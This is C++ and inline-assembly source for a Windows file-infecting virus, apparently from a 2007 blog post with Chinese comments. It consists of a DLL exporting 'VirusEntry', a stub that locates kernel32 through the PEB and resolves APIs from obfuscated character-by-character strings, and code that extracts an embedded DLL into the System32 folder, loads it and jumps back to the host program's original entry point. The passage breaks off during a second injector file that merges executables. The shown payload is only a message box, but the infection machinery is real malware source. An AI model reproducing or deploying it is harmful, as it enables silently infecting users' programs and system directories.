2007年5月20日
#
// InjectDLL.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "InjectDLL.h"
// This is an example of an exported variable
INJECTDLL_API int nInjectDLL=0;
// This is an example of an exported function.
INJECTDLL_API int fnInjectDLL(void)
{
return 42;
}
// This is the constructor of a class that has been exported.
// see InjectDLL.h for the class definition
CInjectDLL::CInjectDLL()
{
return;
}
// include区
#include <iostream>
#include <ctime>
using namespace std;
// DLL文件
//变量定义区
const int g_offset = 0x3E000;
const int g_offset_virus = 20;
const int size = 260;
char szLogFileName[] = "debugInfo.log";
void __stdcall VirusEntry();
void Logout();
void InjectModule(const char* param_decFileName);
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void __stdcall VirusEntry()
{
MessageBox(NULL, "VirusEntry Microsoft", "ddd", 0);
}
// 附加到缓冲区后全部一次性输出
void Logout()
{
//HANDLE hFile = CreateFile(szLogFileName, GENERIC_WRITE, 0, 0,
// OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
//DWORD NumReadWrite = 0;
//char szBuf[MAX_PATH] = "Microosft\r\nThank you all the same";
//CloseHandle(hFile);
}
//插入模块
void InjectModule(const char* param_decFileName)
{
}
//#include <iostream>
//using namespace std;
/*int Mystrcmp(const char* s1, const char* s2)
{
while((*s1 != '\0') || (*s2 != '\0')) {
if(*s1 != *s2){
return 0;
}
++s1;
++s2;
}
return 1;
}*/
#include <windows.h>
//#pragma comment(linker,"/sybsystem:console")
#pragma comment(linker, "/subsystem:WINDOWS")
#pragma comment(linker, "/ENTRY:EntryPoint")
struct InjectAppendStruct
{
BYTE szHeadBuf[8]; // 头的8个字节
DWORD vDecHead_Offset; // 目标头8个字节的偏移量
DWORD vDecHead_OriginalOEP; // 目标OEP
DWORD vDecHead_ImageBase; // 目标内存基址
DWORD vown_Offset; // EXE文件偏移量
DWORD vdll_Offset; // DLL文件偏移量
DWORD vdll_Size; // DLL文件大小
char vdll_flag[4]; // 标识ZMEP
};
int Mystrcmp(const char* s1, const char* s2)
{
while((*s1 != '\0') || (*s2 != '\0')) {
if(*s1 != *s2){
return 0;
}
++s1;
++s2;
}
return 1;
}
static void * __stdcall SearchAPI ( char *BASE, unsigned long *EAT, unsigned long *ENPT, unsigned short *EOT, unsigned long num, char *name )
{
unsigned long index = 0;
char *function_name = 0;
void *function_addr = 0;
for ( index = 0; index < num; index++ )
{
function_name = ENPT[index] + BASE;
/*
* 大小写敏感比较
*/
if ( 1 == Mystrcmp( function_name, name ) )
{
index = EOT[index];
function_addr = EAT[index] + BASE;
return( function_addr );
}
}
return 0;
}
int main()
{
return 0;
}
int EntryPoint()
{
void *PEB = 0,
*Ldr = 0,
*Flink = 0,
*kernel32_BaseAddress = 0,
*kernel32_BaseDllName = 0,
*ExportDirectory = 0,
*PrivateLoadLibraryA = 0,
*PrivateGetProcAddress = 0;
unsigned long NumberOfNames = 0,
*AddressOfFunctions = 0,
*AddressOfNames = 0;
unsigned short *AddressOfNameOrdinals = 0;
long e_lfanew = 0;
__asm
{
mov eax,fs:[0x30]
mov PEB,eax
mov eax,[eax+0ch]
mov Ldr,eax
mov esi,[eax+1ch];
mov Flink, esi;
mov ebx,[esi] ;Flink???
lodsd
mov edx, [eax + 8]
mov kernel32_BaseAddress,edx
mov ebx,[ebx+20h]
mov kernel32_BaseDllName,ebx
;??GetProcAddress LoadLibrary
mov ebx, kernel32_BaseAddress;
mov eax, [ebx+3Ch]
mov e_lfanew,eax
mov eax, kernel32_BaseAddress
mov edx,eax
mov ebx, e_lfanew;
add ebx, 078h
mov eax,[eax+ebx]
add eax,edx
mov ExportDirectory,eax
mov ecx,eax
mov eax,[eax+018h]
mov NumberOfNames,eax
mov eax,ExportDirectory;
mov eax,[eax+01Ch]
mov edx, kernel32_BaseAddress
add eax,edx
mov AddressOfFunctions,eax
mov eax,ExportDirectory;
mov eax,[eax+020h]
add eax,edx
mov AddressOfNames,eax
mov eax,ExportDirectory;
mov eax,[eax+024h];
add eax,edx
mov AddressOfNameOrdinals,eax
}
/*printf("PEB = 0x%08X\n", PEB );
printf("Ldr = 0x%08X\n", Ldr);
printf("Flink = 0x%08X\n", Flink);
printf("kernel32_BaseAddress = 0x%08X\n", kernel32_BaseAddress);
wprintf(L"kernel32_BAseDllName = %s\n", kernel32_BaseDllName);
printf("e_lfanew = 0x%08X\n", e_lfanew);
printf("ExportDirectory = 0x%08X\n", ExportDirectory);
printf("NumberOfNames = %u\n", NumberOfNames);
printf("AddressOfFunctions = 0x%08X\n", AddressOfFunctions);
printf("AddressOfNames = 0x%08X\n", AddressOfNames);
printf("AddressOfNameOrdinals = 0x%08X\n", AddressOfNameOrdinals);*/
///=======================================================
char szFuncLoadLibrary[13];
szFuncLoadLibrary[0] = 'L';
szFuncLoadLibrary[1] = 'o';
szFuncLoadLibrary[2] = 'a';
szFuncLoadLibrary[3] = 'd';
szFuncLoadLibrary[4] = 'L';
szFuncLoadLibrary[5] = 'i';
szFuncLoadLibrary[6] = 'b';
szFuncLoadLibrary[7] = 'r';
szFuncLoadLibrary[8] = 'a';
szFuncLoadLibrary[9] = 'r';
szFuncLoadLibrary[10] = 'y';
szFuncLoadLibrary[11] = 'A';
szFuncLoadLibrary[12] = '\0';
char szFuncGetProcAddress[15];
szFuncGetProcAddress[0] = 'G';
szFuncGetProcAddress[1] = 'e';
szFuncGetProcAddress[2] = 't';
szFuncGetProcAddress[3] = 'P';
szFuncGetProcAddress[4] = 'r';
szFuncGetProcAddress[5] = 'o';
szFuncGetProcAddress[6] = 'c';
szFuncGetProcAddress[7] = 'A';
szFuncGetProcAddress[8] = 'd';
szFuncGetProcAddress[9] = 'd';
szFuncGetProcAddress[10] = 'r';
szFuncGetProcAddress[11] = 'e';
szFuncGetProcAddress[12] = 's';
szFuncGetProcAddress[13] = 's';
szFuncGetProcAddress[14] = '\0';
// SearchAPI
PrivateLoadLibraryA = SearchAPI
(
(char*)kernel32_BaseAddress,
AddressOfFunctions,
AddressOfNames,
AddressOfNameOrdinals,
NumberOfNames,
szFuncLoadLibrary
);
//printf( "PrivateLoadLibraryA = 0x%08X\n", PrivateLoadLibraryA );
//printf( "LoadLibraryA = 0x%08X\n", LoadLibraryA );
PrivateGetProcAddress = SearchAPI
(
(char*)kernel32_BaseAddress,
AddressOfFunctions,
AddressOfNames,
AddressOfNameOrdinals,
NumberOfNames,
szFuncGetProcAddress
);
//printf( "PrivateGetProcAddress = 0x%08X\n", PrivateGetProcAddress );
//printf( "GetProcAddress = 0x%08X\n", GetProcAddress );
/*unsigned long index = 0;
char *function_name = 0;
void *function_addr = 0;
for ( index = 0; index < NumberOfNames; index++ )
{
function_name = AddressOfNames[index] + (char*)kernel32_BaseAddress;
//
// ???????
//
//Mystrcmp比较字符串
int tmp_strcmp = 1;
char* s1 = function_name;
char* s2 = szFuncLoadLibrary;
while((*s1 != '\0') || (*s2 != '\0')) {
if(*s1 != *s2){
tmp_strcmp = 0;
break;
}
s1++;
s2++;
}
if ( 0 != tmp_strcmp )
{
index = AddressOfNameOrdinals[index];
function_addr = AddressOfFunctions[index] + (char*)kernel32_BaseAddress;
break;
}
}*/
//??API
/*PrivateLoadLibraryA = SearchAPI
(
(char*)kernel32_BaseAddress,
AddressOfFunctions,
AddressOfNames,
AddressOfNameOrdinals,
NumberOfNames,
"LoadLibraryA"
);*/
//PrivateLoadLibraryA = function_addr;
//printf( "PrivateLoadLibraryA = 0x%08X\n", PrivateLoadLibraryA );
/*for ( index = 0; index < NumberOfNames; index++ )
{
function_name = AddressOfNames[index] + (char*)kernel32_BaseAddress;
//
// ???????
//
//比较字符串
int tmp_strcmp = 1;
char* s1 = function_name;
char* s2 = szFuncGetProcAddress;
while((*s1 != '\0') || (*s2 != '\0')) {
if(*s1 != *s2){
tmp_strcmp = 0;
break;
}
s1++;
s2++;
}
if ( 0 != tmp_strcmp )
{
index = AddressOfNameOrdinals[index];
function_addr = AddressOfFunctions[index] + (char*)kernel32_BaseAddress;
break;
}
} */
//PrivateGetProcAddress = function_addr;
/*PrivateGetProcAddress = SearchAPI
(
(char*)kernel32_BaseAddress,
AddressOfFunctions,
AddressOfNames,
AddressOfNameOrdinals,
NumberOfNames,
"GetProcAddress"
);
*/
//printf( "PrivateGetProcAddress = 0x%08X\n", PrivateGetProcAddress );
// 导出文件读写API函数
void* v_CreateFileA = 0;
void* v_ReadFile = 0;
void* v_WriteFile = 0;
void* v_SetFilePointer = 0;
void* v_GetModuleFileName = 0;
void* v_CloseHandle = 0;
void* v_VirtualAlloc = 0;
void* v_VirtualFree = 0;
void* v_GetSystemDirectoryA = 0;
void* v_MoveFileA = 0;
void* v_lstrcat = 0;
void* v_GetCurrentProcessId = 0;
void* v_OpenProcess = 0;
void* v_WriteProcessMemory = 0;
void* v_lstrcpyn = 0;
char szCreateFileA[12] = "CreateFileA";
szCreateFileA[0] = 'C';
szCreateFileA[1] = 'r';
szCreateFileA[2] = 'e';
szCreateFileA[3] = 'a';
szCreateFileA[4] = 't';
szCreateFileA[5] = 'e';
szCreateFileA[6] = 'F';
szCreateFileA[7] = 'i';
szCreateFileA[8] = 'l';
szCreateFileA[9] = 'e';
szCreateFileA[10] = 'A';
szCreateFileA[11] = '\0';
char szReadFile[9] = "ReadFile";
szReadFile[0] = 'R';
szReadFile[1] = 'e';
szReadFile[2] = 'a';
szReadFile[3] = 'd';
szReadFile[4] = 'F';
szReadFile[5] = 'i';
szReadFile[6] = 'l';
szReadFile[7] = 'e';
szReadFile[8] = '\0';
char szWriteFile[14] = "WriteFile";
szWriteFile[0] = 'W';
szWriteFile[1] = 'r';
szWriteFile[2] = 'i';
szWriteFile[3] = 't';
szWriteFile[4] = 'e';
szWriteFile[5] = 'F';
szWriteFile[6] = 'i';
szWriteFile[7] = 'l';
szWriteFile[8] = 'e';
szWriteFile[9] = '\0';
char szSetFilePointer[15] = "SetFilePointer";
szSetFilePointer[0] = 'S';
szSetFilePointer[1] = 'e';
szSetFilePointer[2] = 't';
szSetFilePointer[3] = 'F';
szSetFilePointer[4] = 'i';
szSetFilePointer[5] = 'l';
szSetFilePointer[6] = 'e';
szSetFilePointer[7] = 'P';
szSetFilePointer[8] = 'o';
szSetFilePointer[9] = 'i';
szSetFilePointer[10] = 'n';
szSetFilePointer[11] = 't';
szSetFilePointer[12] = 'e';
szSetFilePointer[13] = 'r';
szSetFilePointer[14] = '\0';
char szGetModuleFileName[19];
szGetModuleFileName[0] = 'G';
szGetModuleFileName[1] = 'e';
szGetModuleFileName[2] = 't';
szGetModuleFileName[3] = 'M';
szGetModuleFileName[4] = 'o';
szGetModuleFileName[5] = 'd';
szGetModuleFileName[6] = 'u';
szGetModuleFileName[7] = 'l';
szGetModuleFileName[8] = 'e';
szGetModuleFileName[9] = 'F';
szGetModuleFileName[10] = 'i';
szGetModuleFileName[11] = 'l';
szGetModuleFileName[12] = 'e';
szGetModuleFileName[13] = 'N';
szGetModuleFileName[14] = 'a';
szGetModuleFileName[15] = 'm';
szGetModuleFileName[16] = 'e';
szGetModuleFileName[17] = 'A';
szGetModuleFileName[18] = '\0';
char szCloseHandle[12] = "CloseHandle";
szCloseHandle[0] = 'C';
szCloseHandle[1] = 'l';
szCloseHandle[2] = 'o';
szCloseHandle[3] = 's';
szCloseHandle[4] = 'e';
szCloseHandle[5] = 'H';
szCloseHandle[6] = 'a';
szCloseHandle[7] = 'n';
szCloseHandle[8] = 'd';
szCloseHandle[9] = 'l';
szCloseHandle[10] = 'e';
szCloseHandle[11] = '\0';
char szVirtualAlloc[13] = "VirtualAlloc";
szVirtualAlloc[0] = 'V';
szVirtualAlloc[1] = 'i';
szVirtualAlloc[2] = 'r';
szVirtualAlloc[3] = 't';
szVirtualAlloc[4] = 'u';
szVirtualAlloc[5] = 'a';
szVirtualAlloc[6] = 'l';
szVirtualAlloc[7] = 'A';
szVirtualAlloc[8] = 'l';
szVirtualAlloc[9] = 'l';
szVirtualAlloc[10] = 'o';
szVirtualAlloc[11] = 'c';
szVirtualAlloc[12] = '\0';
char szVirtualFree[12] = "VirtualFree";
szVirtualFree[0] = 'V';
szVirtualFree[1] = 'i';
szVirtualFree[2] = 'r';
szVirtualFree[3] = 't';
szVirtualFree[4] = 'u';
szVirtualFree[5] = 'a';
szVirtualFree[6] = 'l';
szVirtualFree[7] = 'F';
szVirtualFree[8] = 'r';
szVirtualFree[9] = 'e';
szVirtualFree[10] = 'e';
szVirtualFree[11] = '\0';
char szGetSystemDirectoryA[20];
szGetSystemDirectoryA[0] = 'G';
szGetSystemDirectoryA[1] = 'e';
szGetSystemDirectoryA[2] = 't';
szGetSystemDirectoryA[3] = 'S';
szGetSystemDirectoryA[4] = 'y';
szGetSystemDirectoryA[5] = 's';
szGetSystemDirectoryA[6] = 't';
szGetSystemDirectoryA[7] = 'e';
szGetSystemDirectoryA[8] = 'm';
szGetSystemDirectoryA[9] = 'D';
szGetSystemDirectoryA[10] = 'i';
szGetSystemDirectoryA[11] = 'r';
szGetSystemDirectoryA[12] = 'e';
szGetSystemDirectoryA[13] = 'c';
szGetSystemDirectoryA[14] = 't';
szGetSystemDirectoryA[15] = 'o';
szGetSystemDirectoryA[16] = 'r';
szGetSystemDirectoryA[17] = 'y';
szGetSystemDirectoryA[18] = 'A';
szGetSystemDirectoryA[19] = '\0';
char szMoveFileA[10];
szMoveFileA[0] = 'M';
szMoveFileA[1] = 'o';
szMoveFileA[2] = 'v';
szMoveFileA[3] = 'e';
szMoveFileA[4] = 'F';
szMoveFileA[5] = 'i';
szMoveFileA[6] = 'l';
szMoveFileA[7] = 'e';
szMoveFileA[8] = 'A';
szMoveFileA[9] = '\0';
char szlstrcat[12];
szlstrcat[0] = 'l';
szlstrcat[1] = 's';
szlstrcat[2] = 't';
szlstrcat[3] = 'r';
szlstrcat[4] = 'c';
szlstrcat[5] = 'a';
szlstrcat[6] = 't';
szlstrcat[7] = '\0';
char szGetCurrentProcessId[20] = "GetCurrentProcessId";
szGetCurrentProcessId[0] = 'G';
szGetCurrentProcessId[1] = 'e';
szGetCurrentProcessId[2] = 't';
szGetCurrentProcessId[3] = 'C';
szGetCurrentProcessId[4] = 'u';
szGetCurrentProcessId[5] = 'r';
szGetCurrentProcessId[6] = 'r';
szGetCurrentProcessId[7] = 'e';
szGetCurrentProcessId[8] = 'n';
szGetCurrentProcessId[9] = 't';
szGetCurrentProcessId[10] = 'P';
szGetCurrentProcessId[11] = 'r';
szGetCurrentProcessId[12] = 'o';
szGetCurrentProcessId[13] = 'c';
szGetCurrentProcessId[14] = 'e';
szGetCurrentProcessId[15] = 's';
szGetCurrentProcessId[16] = 's';
szGetCurrentProcessId[17] = 'I';
szGetCurrentProcessId[18] = 'd';
szGetCurrentProcessId[19] = '\0';
char szWriteProcessMemory[19] = "WriteProcessMemory";
szWriteProcessMemory[0] = 'W';
szWriteProcessMemory[1] = 'r';
szWriteProcessMemory[2] = 'i';
szWriteProcessMemory[3] = 't';
szWriteProcessMemory[4] = 'e';
szWriteProcessMemory[5] = 'P';
szWriteProcessMemory[6] = 'r';
szWriteProcessMemory[7] = 'o';
szWriteProcessMemory[8] = 'c';
szWriteProcessMemory[9] = 'e';
szWriteProcessMemory[10] = 's';
szWriteProcessMemory[11] = 's';
szWriteProcessMemory[12] = 'M';
szWriteProcessMemory[13] = 'e';
szWriteProcessMemory[14] = 'm';
szWriteProcessMemory[15] = 'o';
szWriteProcessMemory[16] = 'r';
szWriteProcessMemory[17] = 'y';
szWriteProcessMemory[18] = '\0';
char szOpenProcess[19] = "OpenProcess";
szOpenProcess[0] = 'O';
szOpenProcess[1] = 'p';
szOpenProcess[2] = 'e';
szOpenProcess[3] = 'n';
szOpenProcess[4] = 'P';
szOpenProcess[5] = 'r';
szOpenProcess[6] = 'o';
szOpenProcess[7] = 'c';
szOpenProcess[8] = 'e';
szOpenProcess[9] = 's';
szOpenProcess[10] = 's';
szOpenProcess[11] = '\0';
char szlstrcpyn[9];
szlstrcpyn[0] = 'l';
szlstrcpyn[1] = 's';
szlstrcpyn[2] = 't';
szlstrcpyn[3] = 'r';
szlstrcpyn[4] = 'c';
szlstrcpyn[5] = 'p';
szlstrcpyn[6] = 'y';
szlstrcpyn[7] = 'n';
szlstrcpyn[8] = '\0';
v_CreateFileA = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szCreateFileA);
v_ReadFile = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szReadFile);
v_WriteFile = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szWriteFile);
v_SetFilePointer = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szSetFilePointer);
v_GetModuleFileName = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szGetModuleFileName);
v_CloseHandle = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szCloseHandle);
v_VirtualAlloc = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szVirtualAlloc);
v_VirtualFree = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szVirtualFree);
v_GetSystemDirectoryA = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szGetSystemDirectoryA);
v_MoveFileA = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szMoveFileA);
v_lstrcat = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szlstrcat);
v_GetCurrentProcessId = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szGetCurrentProcessId);
v_WriteProcessMemory = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szWriteProcessMemory);
v_OpenProcess = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szOpenProcess);
v_lstrcpyn = SearchAPI((char*)kernel32_BaseAddress, AddressOfFunctions,
AddressOfNames, AddressOfNameOrdinals,
NumberOfNames, szlstrcpyn);
//printf("v_C: 0x%X\n", v_CreateFileA);
//printf("v_R: 0x%X\n", v_ReadFile);
//printf("v_W: 0x%X\n", v_WriteFile);
//printf("v_S: 0x%X\n", v_SetFilePointer);
//printf("v_G: 0x%X\n", v_GetModuleFileName);
// 读写文件
const int bufSize = 260;
char szFileName[bufSize];
if(v_CreateFileA)
{
__asm
{
push bufSize;
lea eax, szFileName;
push eax;
push 0;
call v_GetModuleFileName; 获取当前目标文件名
}
//创建文件
int fileAttribute = FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN;
char szText[9];
szText[0] = 't';
szText[1] = 'e';
szText[2] = 's';
szText[3] = 't';
szText[4] = '.';
szText[5] = 't';
szText[6] = 'x';
szText[7] = 't';
szText[8] = '\0';
InjectAppendStruct tmpAStruc; //附件结构,从尾读入
void* hWrite = 0;
void* hRead = 0;
// 创建写文件
__asm
{
push 0;
push fileAttribute;
push CREATE_ALWAYS;
push 0;
push 0;
push GENERIC_WRITE;
lea ebx, szText;
push ebx;
call v_CreateFileA;
mov hWrite, eax;
}
__asm
{
push 0;
push fileAttribute;
push OPEN_ALWAYS;
push 0;
push 0;
push GENERIC_READ;
lea ebx, szFileName;
push ebx;
call v_CreateFileA;
mov hRead, eax;
}
// 读写文件
DWORD ReadNum = 0;
DWORD ReadttenNum = 0;
DWORD AppendStrucSize = sizeof(tmpAStruc);
AppendStrucSize = -AppendStrucSize;
//设置读文件指针
__asm
{
push FILE_END; // 移动方法
push 0;
push AppendStrucSize; // 偏移字节
push hRead;
call v_SetFilePointer;
}
AppendStrucSize = -AppendStrucSize;
// 读写文件
__asm
{
push 0;
lea ebx, ReadttenNum;
push ebx;
push AppendStrucSize;
lea ebx, tmpAStruc;
push ebx;
push hRead;
call v_ReadFile;
}
__asm
{
push 0;
lea ebx, ReadttenNum;
push ebx;
push AppendStrucSize;
lea ebx, tmpAStruc;
push ebx;
push hWrite;
call v_WriteFile;
}
// 创建DLL文件,将DLL文件写出来
// 建立一个大的缓冲区, 为类似 C:\\Windows\System32\xo.dll 就可以了。
void* hDLL = 0;
char szDLLName[260];
szDLLName[0] = 'x';
szDLLName[1] = 'o';
szDLLName[2] = '.';
szDLLName[3] = 'd';
szDLLName[4] = 'l';
szDLLName[5] = 'l';
szDLLName[6] = '\0';
//获取系统目录
// 获取系统目录
char szSysDirBuf[260];
char szAfterDLLName[8];
szAfterDLLName[0] = '\\';
szAfterDLLName[1] = 'x';
szAfterDLLName[2] = 'o';
szAfterDLLName[3] = '.';
szAfterDLLName[4] = 'd';
szAfterDLLName[5] = 'l';
szAfterDLLName[6] = 'l';
szAfterDLLName[7] = '\0';
__asm
{
push 260;
lea ebx, szSysDirBuf;
push ebx;
call v_GetSystemDirectoryA;
lea ebx, szAfterDLLName;
push ebx;
lea ebx, szSysDirBuf;
push ebx;
call v_lstrcat;
}
int hModule = 0;
char szBuf[11];
szBuf[0] = 'u';
szBuf[1] = 's';
szBuf[2] = 'e';
szBuf[3] = 'r';
szBuf[4] = '3';
szBuf[5] = '2';
szBuf[6] = '.';
szBuf[7] = 'd';
szBuf[8] = 'l';
szBuf[9] = 'l';
szBuf[10] = '\0';
char szMessage[12];
szMessage[0] = 'M';
szMessage[1] = 'e';
szMessage[2] = 's';
szMessage[3] = 's';
szMessage[4] = 'a';
szMessage[5] = 'g';
szMessage[6] = 'e';
szMessage[7] = 'B';
szMessage[8] = 'o';
szMessage[9] = 'x';
szMessage[10] = 'A';
szMessage[11] = '\0';
char szwsprintfA[10];
szwsprintfA[0] = 'w';
szwsprintfA[1] = 's';
szwsprintfA[2] = 'p';
szwsprintfA[3] = 'r';
szwsprintfA[4] = 'i';
szwsprintfA[5] = 'n';
szwsprintfA[6] = 't';
szwsprintfA[7] = 'f';
szwsprintfA[8] = 'A';
szwsprintfA[9] = '\0';
void* v_MessageBox = 0;
void* v_wsprintfA = 0;
__asm
{
//mov eax,PrivateLoadLibraryA;
//mov ebx,PrivateGetProcAddress;
lea ecx,szBuf;
push ecx;
call PrivateLoadLibraryA;
mov hModule,eax
lea ecx,szMessage
push ecx
push hModule;
call PrivateGetProcAddress;
mov v_MessageBox, eax; // 获取MessageBoxA指针
// eax被抹掉了
lea ecx, szwsprintfA;
push ecx;
push hModule;
call PrivateGetProcAddress;
mov v_wsprintfA, eax;
}
// 创建xo.dll
__asm
{
push 0;
push fileAttribute;
push CREATE_ALWAYS;
push 0;
push 0;
push GENERIC_WRITE;
lea ebx, szSysDirBuf;
push ebx;
call v_CreateFileA;
mov hDLL, eax;
}
// 设置文件偏移地址
BYTE *dllBuf = 0;
void *lpDLL = 0;
__asm
{
push PAGE_READWRITE;
push MEM_COMMIT;
push tmpAStruc.vdll_Size;
push 0;
call v_VirtualAlloc;
mov lpDLL, eax;
}
__asm
{
push FILE_BEGIN; // 移动方法
push 0;
push tmpAStruc.vdll_Offset; // 偏移字节
push hRead;
call v_SetFilePointer;
}
// 从目标文件中读DLL文件,并写出
__asm
{
push 0;
lea ebx, ReadttenNum;
push ebx;
push tmpAStruc.vdll_Size; // 读文件大小
push lpDLL; // 缓冲地址
push hRead;
call v_ReadFile;
}
// 写文件
__asm
{
push 0;
lea ebx, ReadttenNum;
push ebx;
push tmpAStruc.vdll_Size;
push lpDLL;
push hDLL;
call v_WriteFile;
}
//关闭文件句柄
__asm
{
push hDLL;
call v_CloseHandle;
push hWrite;
call v_CloseHandle;
push hRead;
call v_CloseHandle;
//VirtualFree
push MEM_RELEASE;
push 0;
push lpDLL;
call v_VirtualFree;
}
//szDLLName
char szDLLEntry[11] = "VirusEntry";
szDLLEntry[0] = 'V';
szDLLEntry[1] = 'i';
szDLLEntry[2] = 'r';
szDLLEntry[3] = 'u';
szDLLEntry[4] = 's';
szDLLEntry[5] = 'E';
szDLLEntry[6] = 'n';
szDLLEntry[7] = 't';
szDLLEntry[8] = 'r';
szDLLEntry[9] = 'y';
szDLLEntry[10] = '\0';
// 导出xo.dll文件后 加载文件,并调用VirusEntry函数
int hDLLHDL = 0;
__asm
{
lea ebx, szDLLName;
push ebx;
call PrivateLoadLibraryA;
mov hDLLHDL, eax;
lea ebx, szDLLEntry;
push ebx;
push hDLLHDL;
call PrivateGetProcAddress;
call eax;
//加载wsprintfA
}
// 完成跳回 - 计算内存地址
// 再返回头VirtualAlloc 然后 复制 RtlFillMemory , VirtualFree
void* opHeadCode = NULL;
BYTE szopHeadBuf[260];
BYTE sztmpopBuf[4] = {0};
sztmpopBuf[0] = '\xE9';
DWORD opHeadCodeSize = sizeof(tmpAStruc.szHeadBuf);
DWORD jmpOPOffset = tmpAStruc.vDecHead_OriginalOEP + tmpAStruc.vDecHead_ImageBase + 5;
__asm
{
push PAGE_EXECUTE_READWRITE;
push MEM_COMMIT;
push 0x01000; // 4KB内存
push 0;
call v_VirtualAlloc;
mov opHeadCode, eax;
}
__asm
{
//计算jmp 指令
add eax, 0x05;
mov ebx, jmpOPOffset;
sub ebx, eax;
sub ebx, 0x05;
//mov eax, tmpAStruc.vDecHead_ImageBase;
//add ebx, eax;
mov jmpOPOffset, ebx;
}
__asm
{
//执行 逐个字节复制过去 8次
lea ebx, tmpAStruc.szHeadBuf;
mov eax, [ebx];
mov edx, opHeadCode;
mov [edx], eax;
mov eax, [ebx+4];
mov [edx+4], eax;
//为其补个零
mov eax, opHeadCode;
mov [eax+8], 0;
//获取串地址
lea ebx, sztmpopBuf;
mov edx, [ebx];
mov [eax+5], edx;
mov edx, jmpOPOffset;
mov [eax+6], edx;
}
__asm
{
jmp opHeadCode;
}
//wsprintf(szHeadOPBuf, "E9%d", &jmpOPOffset);
//lstrcat(opHeadCode, szHeadOPBuf);
/*
// 调用MessageBox
__asm
{
lea ecx, szSysDirBuf
push 0
push ecx
push ecx
push 0
call v_MessageBox
}
*/
}
return 0;
}
#include <windows.h>
#include <sys/stat.h>
#include <iostream>
#include <ctime>
using namespace std;
#define SAFE_DELETE(p) { if((p)!=NULL) { delete[] (p); (p) = NULL; }}
const int g_offset = 0x3E000;
const int g_offset_virus = 20; //距离病毒补齐
const int size = 260; //缓冲区大小
char decFileName[] = "复件 NormalNormal.exe"; // 目标文件
char decFileNameAfter[] = "testOne.exe"; // 被插EXE
char decFileDLLName[] = "InjectDLL.dll"; // 被插DLL
bool checkFileFlag(const char* fdecFileName, int a_offset);
bool InjectModule();
bool InsertSection(struct InjectByteBuf& param_IBBuf, struct _stat& decST, struct _stat& ownST,
const char* szDecFileName);
DWORD GetVaROffset(BYTE *decBuf, int param_InsertPosition,
int param_ISHSize, // 块表项结构大小
int param_ISHNumber, // 块表项个数
DWORD param_oep,
DWORD& param_DelTaK); // 获取VOffset 和 ROffset
bool FillZeroArea(FILE* decFile, ULONG VirtualSize, ULONG VirtualAddress);
bool CheckSubsystem(WORD param_subsystem);
bool OutPEFileInfo(IMAGE_NT_HEADERS& param_inh);
int GetMultiple4KB(int param_Any); // 获取4KB对齐数
//文件地址和内存地址转换结构
struct FAaVA
{
DWORD FileOffset; // 文件偏移地址
DWORD VirtualOffset; // 内存偏移地址
DWORD ImageBase; // 基地址
DWORD DelTaK; // 某段的VA与RA的差
};
DWORD FOffsetToVOffset(struct FAaVA& param_fav); // FO 转 VA
DWORD VOffsetToFOffset(struct FAaVA& param_fav); // VA 转 FA
// 附加在合并文件尾的结构
struct InjectAppendStruct
{
BYTE szHeadBuf[8]; // 头的8个字节
DWORD vDecHead_Offset; // 目标头8个字节的偏移量
DWORD vDecHead_OriginalOEP; // 目标OEP
DWORD vDecHead_ImageBase; // 目标内存基址
DWORD vown_Offset; // EXE文件偏移量
DWORD vdll_Offset; // DLL文件偏移量
DWORD vdll_Size; // DLL文件大小
char vdll_flag[4]; // 标识ZMEP
};
// 被插入的几个文件的缓冲区指针
struct InjectByteBuf
{
BYTE *ownBuf;
BYTE *decBuf;
BYTE *dllBuf;
struct _stat dllST; // dll的信息
};
////////////////////////////////////////////////////////////////////////////////////////////////////
int main(int argc, char** argv)
{
srand(time(NULL));
if(checkFileFlag(decFileName, g_offset))
{
//解压缩 Unpacker
char u_fileName[size] = {0};
char newfileName[size] = {0};
GetModuleFileName(0, u_fileName, sizeof(u_fileName));
FILE* u_filehdl = fopen(u_fileName, "rb"); // 合并后
//建立新文件
sprintf(newfileName, "_www%d__.exe", rand()%10000);
FILE* newoutFile = fopen(newfileName, "wb");
//每次读几个小字节。设置文件偏移指针
fseek(u_filehdl, g_offset + g_offset_virus, SEEK_SET);
BYTE* buf = NULL;
buf = new BYTE[5];
while(!feof(u_filehdl))
{
fread(buf, 1, sizeof(buf), u_filehdl);
fwrite(buf, 1, sizeof(buf), newoutFile);
}
